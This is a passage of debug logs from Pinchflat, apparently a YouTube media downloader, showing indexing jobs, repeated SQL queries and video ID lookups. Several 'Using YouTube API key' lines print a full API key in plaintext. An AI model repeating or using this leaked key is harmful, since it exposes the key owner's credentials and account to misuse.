"r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", ...] 16:45:06.079 [debug] QUERY OK source="media_items" db=0.1ms idle=372.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 16:45:06.080 [debug] QUERY OK source="tasks" db=0.1ms idle=373.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268305, 24, ~U[2026-10-09 21:45:06Z], ~U[2026-10-09 21:45:06Z]] 16:45:06.080 [info] {"args":{"id":24},"id":5268265,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":375216,"event":"job:stop","queue_time":359876,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:06.087 [info] {"args":{"id":3},"id":5268267,"meta":{},"system_time":1791582306087094956,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:06.087 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 16:45:06.087 [debug] QUERY OK source="settings" db=0.1ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:06.087 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:06.087 [debug] QUERY OK source="settings" db=0.0ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:06.087 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 16:45:06.088 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:06.088 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:06.242 [debug] QUERY OK source="media_items" db=0.6ms idle=154.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [15, "wLB-Q0iK340", "nY3KX4nYujU", "4K6KgNQkFlE", "WINGdoJP1k4", "qh3zsN1tWHc", "0WY7Y_Hierc", "A4ppPzrJeKg", "QyJRbfVpasM", "cEvbtJKkiKA", "oIpuh9B54_Y", "qBngEbWvnLU", "ybedvH-Z1a0", "gyapvbUPeGY", "43yyNypLixI", "5TNRLSuu7Ck", "ogTdveOYLQw", "Lsn68mBl8t8", "xyjk-UAYXUw", "sjU6mk8YUFw", "l5-eiLTPkfo", "RrCOMIgn7lg", "5YyOA4Fb7DQ", "P0yz6bFnRPU", "UPvzdNYpGkk", "pXdGk0dzIso", "xNjq6F8JjZ4", "Z-PAcG0uecs", "yg7Oxq0V0bw", "044H43vCM5U", "WK4B1vsFvlA", "XAhoRD94yo8", "Vq8XXz_66lQ", "-OUVRcJMcfQ", "SkK7ve8Isq8", "P9yK5E1iw4o", "NHwWYgRkMOM", "neUAF2AjYZc", "zsYvx6oBdkI", "_wxU3z9VxOY", "Rl-Okv32Cg0", "xezfkm4w5Oo", "4mmV3TpYCwc", "6UbSy5JRc10", "z5VzU53LQ3Y", "QtN38fxQUZI", "aOB2mSALBiA", "Jr7pjruyR9s", "SQ_BWki10Y8", "1cwS7nzthpw", ...] 16:45:06.243 [debug] QUERY OK source="media_items" db=0.4ms idle=155.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [15] 16:45:06.244 [debug] QUERY OK source="tasks" db=0.1ms idle=156.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268306, 15, ~U[2026-10-09 21:45:06Z], ~U[2026-10-09 21:45:06Z]] 16:45:06.244 [info] {"args":{"id":15},"id":5268266,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":539137,"event":"job:stop","queue_time":206231,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:06.431 [debug] QUERY OK source="media_items" db=0.6ms idle=186.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "0KoeY54M5VA", "F_7B2shTPPU", "_KWdCqpXB7A", "KnUFH5GX_fI", "nXdVG45wveo", "mmCfOazZCNQ", "KtQ9nt2ZeGM", "tCVsyY5TRQI", "oy7BrKNmZAQ", "INZybkX8tLI", "8I4Jc-WLsrs", "DAX2_mPr9W8", "ms8uu0zeU88", "Aytf6ARcs8s", "JzClLWL-Eys", "HFYWHeBhYbM", "SaKKzZRrPIg", "W96a8svXo14", "OSCOQ6vnLwU", "j_QfX0SYCE8", "OOK5xkFijPc", "QEJpZjg8GuA", "HnMuNCl7tZ8", "kTctVqjhDEw", "qSFNufruSKw", "6Ea6jf-9Czo", "dHskIsOYZ8s", "6h9JhW-m35o", "Namf-Ddo_Xo", "WkIR23emsWY", "zsA3X40nz9w", "CnMRePtHMZY", "CzJKxUCKOBg", "3-Q87w8uhwg", "XRCprhlz4D8", "uhbDfi7Ee7k", "YGT1EvmDJh4", "jHP942Livy0", "XeDCCNFAULk", "TLm7Q92xMjQ", "ff04ecF9Dfw", "ZcH0j7tOrDA", "DTsQjiPlksA", "AEm-2giH_zw", "E3p_Cv32tEo", "va1rzP2xIx4", "Limpr1L8Pss", "TBPVJtGBf8Y", "bis_4MT5SSo", ...] 16:45:06.432 [debug] QUERY OK source="media_items" db=0.5ms idle=187.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 16:45:06.433 [debug] QUERY OK source="tasks" db=0.1ms idle=183.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268307, 3, ~U[2026-10-09 21:45:06Z], ~U[2026-10-09 21:45:06Z]] 16:45:06.433 [info] {"args":{"id":3},"id":5268267,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":346302,"event":"job:stop","queue_time":399868,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:14.997 [info] {"source":"oban","duration":9701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:40.740 [info] {"args":{"id":27},"id":5268268,"meta":{},"system_time":1791582340740140226,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:40.740 [debug] QUERY OK source="sources" db=0.1ms idle=1046.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:45:40.740 [debug] QUERY OK source="settings" db=0.0ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:40.741 [debug] QUERY OK source="media_profiles" db=0.5ms idle=46.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:40.741 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:40.741 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:45:40.741 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:40.741 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:40.888 [debug] QUERY OK source="media_items" db=0.7ms idle=147.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "Tuxgh8SrzbQ", "DWAMwfM2DrM", "-TvOCDbhCWk", "WAeTROAfSTs", "nhbeaHuZMQ0", "Se1NPlfUCss", "kSPrY4NHqow", "dpNfJm2Ql90", "mIBhWgYWVPA", "P4351ixgP4M", "X2qcTrprMqE", "GEhwXAIjDls", "_5aHHg4A_vY", "xeRSef7jMYc", "nz6sgR01Tt8", "bmFRqSs1QAM", "EBgxa8OzjB8", "F-CFdCp0xaw", "lt07jcPvG2Y", "dy0WZVpyiTM", "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", ...] 16:45:40.890 [debug] QUERY OK source="media_items" db=0.8ms idle=148.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:45:40.891 [debug] QUERY OK source="tasks" db=0.1ms idle=149.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268308, 27, ~U[2026-10-09 21:45:40Z], ~U[2026-10-09 21:45:40Z]] 16:45:40.891 [info] {"args":{"id":27},"id":5268268,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":150900,"event":"job:stop","queue_time":350587,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:41.741 [info] {"args":{"id":18},"id":5268269,"meta":{},"system_time":1791582341741262763,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:41.741 [info] {"args":{"id":1},"id":5268270,"meta":{},"system_time":1791582341741297126,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:45:41.741 [debug] QUERY OK source="sources" db=0.1ms idle=850.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:45:41.741 [debug] QUERY OK source="sources" db=0.1ms idle=850.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:45:41.741 [debug] QUERY OK source="settings" db=0.0ms idle=844.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:41.741 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:41.742 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:41.742 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:45:41.742 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:41.742 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:45:41.742 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:41.742 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:45:41.742 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:41.742 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:41.742 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:45:41.742 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:45:41.985 [debug] QUERY OK source="media_items" db=0.6ms idle=242.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, 